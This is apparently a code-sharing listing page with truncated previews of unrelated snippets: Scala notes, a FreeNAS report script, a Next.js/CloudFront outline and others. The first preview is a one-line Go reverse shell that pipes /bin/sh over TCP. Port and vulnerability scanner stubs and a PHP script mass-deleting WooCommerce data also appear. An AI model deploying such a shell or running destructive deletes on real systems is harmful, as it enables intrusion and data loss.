View shell.go
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","127.0.0.1:1337");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run();}'>/tmp/sh.go&&go run /tmp/sh.go
View ads_block_detect.js
var adBlockEnabled = false;
var testAd = document.createElement('div');
testAd.innerHTML = ' ';
testAd.className = 'adsbox';
document.body.appendChild(testAd);
window.setTimeout(function() {
if (testAd.offsetHeight === 0) {
adBlockEnabled = true;
}
testAd.remove();
View Advanced-FP-with-Scala.md

Advanced Functional Programming with Scala - Notes

Copyright © 2016-2017 Fantasyland Institute of Learning. All rights reserved.

1. Mastering Functions

A function is a mapping from one set, called a domain, to another set, called the codomain. A function associates every element in the domain with exactly one element in the codomain. In Scala, both domain and codomain are types.

val square : Int => Int = x => x * x
View check_ips_and_ports.py
#!/usr/bin/env python
import socket
from multiprocessing import Process, Queue
import time
import argparse
"""
Tools to scan network from python.
Mostly taken from stack overflow and mixed together.
View Vulnerability Port Scanner
#I want to thank Mark Hufe for his video on creating a menu structure inside python.
#This helped me out a lot. https://www.youtube.com/watch?v=kGY9n5H6nr0
#
import subprocess
import sys
subnet_list = '/root/subnet_list'
vulscan_results = 'root/vulscan_results'
scan_results = '/root/scan_results'
View emailStatusReport.sh
#!/bin/sh
### Parameters ###
logfile="/tmp/smart_report.tmp"
email="your_email@gmail.com"
subject="SMART Status Report for FreeNAS"
drives="da0 da1 da2 da3 da4 da5 da6 da7"
tempWarn=40
tempCrit=45
sectorsCrit=10
View delete-all-woocommerce-products.php
<?php
require dirname(__FILE__).'/wp-blog-header.php';
$wpdb->query("DELETE FROM wp_terms WHERE term_id IN (SELECT term_id FROM wp_term_taxonomy WHERE taxonomy LIKE 'pa_%')");
$wpdb->query("DELETE FROM wp_term_taxonomy WHERE taxonomy LIKE 'pa_%'");
$wpdb->query("DELETE FROM wp_term_relationships WHERE term_taxonomy_id not IN (SELECT term_taxonomy_id FROM wp_term_taxonomy)");
$wpdb->query("DELETE FROM wp_term_relationships WHERE object_id IN (SELECT ID FROM wp_posts WHERE post_type IN ('product','product_variation'))");
$wpdb->query("DELETE FROM wp_postmeta WHERE post_id IN (SELECT ID FROM wp_posts WHERE post_type IN ('product','product_variation'))");
$wpdb->query("DELETE FROM wp_posts WHERE post_type IN ('product','product_variation')");
View connection-pool.py
class ConnectionPool():
"""
Usage:
conn_pool = nmi_mysql.ConnectionPool(config)
db = conn_pool.get_connection()
db.query('SELECT 1', [])
conn_pool.return_connection(db)
conn_pool.close()
View wstorm.sh
#!/bin/bash
#
# Opens WebStorm from the command line using Git Bash for Windows. If you're
# working within the integrated terminal in WebStorm, this will open the file
# passed in using just the relative path. If the file specified doesn't exist,
# it creates it and opens it. Just copy wstorm() into wherever you keep your
# Bash aliases and make sure you change your Terminal path to Git Bash (see
# Notes section).
#
# ------
View How we use cloudfront and next.js.md

How we incorporate next and cloudfront (2018-04-21)

Feel free to contact me at robert.balicki@gmail.com or tweet at me @statisticsftw

This is a rough outline of how we utilize next.js and S3/Cloudfront. Hope it helps!

It assumes some knowledge of AWS.

Goals